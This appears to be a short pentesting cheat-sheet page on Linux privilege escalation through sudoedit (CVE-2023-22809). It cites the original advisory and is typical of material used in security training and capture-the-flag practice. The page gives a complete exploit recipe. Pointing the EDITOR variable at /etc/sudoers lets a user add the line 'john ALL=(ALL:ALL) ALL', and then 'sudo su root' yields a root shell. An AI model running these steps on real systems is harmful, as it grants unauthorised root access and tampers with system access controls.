Linux Privilege Escalation
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  • Investigation
  • Exploitation (CVE-2023-22809)
  • References

Sudoedit Privilege Escalation

Sudoedit is vulnerable to privilege escalation.

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Last updated 1 year ago

sudo -l

(root) sudoedit /opt/example.txt
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If we can execute sudoedit command as root, we might be able to escalate the privileges with some version.

)

export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txt
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In vim editor, add the following line in /etc/sudoers. Assume the current username is “john”

john ALL=(ALL:ALL) ALL
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After that, we can escalate to root privilege.

sudo su root
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References

Investigation
Exploitation (
CVE-2023-22809
https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf
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